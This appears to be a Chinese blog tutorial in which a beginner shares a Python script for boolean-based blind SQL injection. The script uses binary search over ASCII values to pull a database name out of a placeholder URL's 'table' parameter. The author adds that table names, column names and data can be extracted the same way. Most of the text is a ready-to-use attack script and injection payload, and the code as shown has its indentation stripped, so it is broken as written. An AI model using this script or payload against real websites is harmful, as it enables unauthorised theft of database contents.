注入中盲注它要花费很多时间进行排除,所以作为小白的我也想尝试如何去编写简单的 python脚本,来提高挖盲注的效率。
说到盲注的排除,我们第一时间就会想到二分法,因为不可能逐个逐个的用 “=” 去排除,这样浪费的时间会更多,所以脚本的编写我也是用二分法的,下面我会用自己盲注数据库名字的例子来说明一下:
#!/usr/bin/env python
# coding:utf-8
import requests
import sys
url = "http://xxx.xxx.xxx.xxx/xxx/xxx.php?table=%s"
data = ' '
pay = ' '
def database(url):
payload = "(select(id)from`user`where(id=(case(1)when(ascii(substr(database(),%s,1))>%s)then(select(1))else(select(2)union(select(1)))end)))"
print("Start enumerating databases:")
for i in range(1, 8):
max = 122 # z
min = 47 # /
while abs(max - min) > 1:
mid = int((max + min) / 2)
pay = payload % (str(i), str(mid))
response = requests.get(url % pay)
if response.content.find("此处填写返回正确的回显文本") != -1:
min = mid
else:
max = mid
data = data + chr(max)
print("The databases is :%s" % data)
def main():
database(url)
if __name__ == '__main__':
main()
注:
1、该payload只是我自己构造的,视实际情况而定,要注意的是payload里面用的两个%s传参,第一个参数是指数据库名字的位数,第二个是指我们用来排除的ascii码值。
2、先用for循环做一个大的循环,for是循环数据库名的位数的,里面的while循环是用来进行二分法的排除的。
3、这里的盲注是正确的话页面回显文本不一样,然后我们搜索正确的响应文本的以此作为二分法的判断依据的。
列举数据库名字的代码就是这些,其实知道方法之后,自己构造payload,列举其它如:表名,列名,数据这些也是很简单的,照猫画虎的写出来就行了。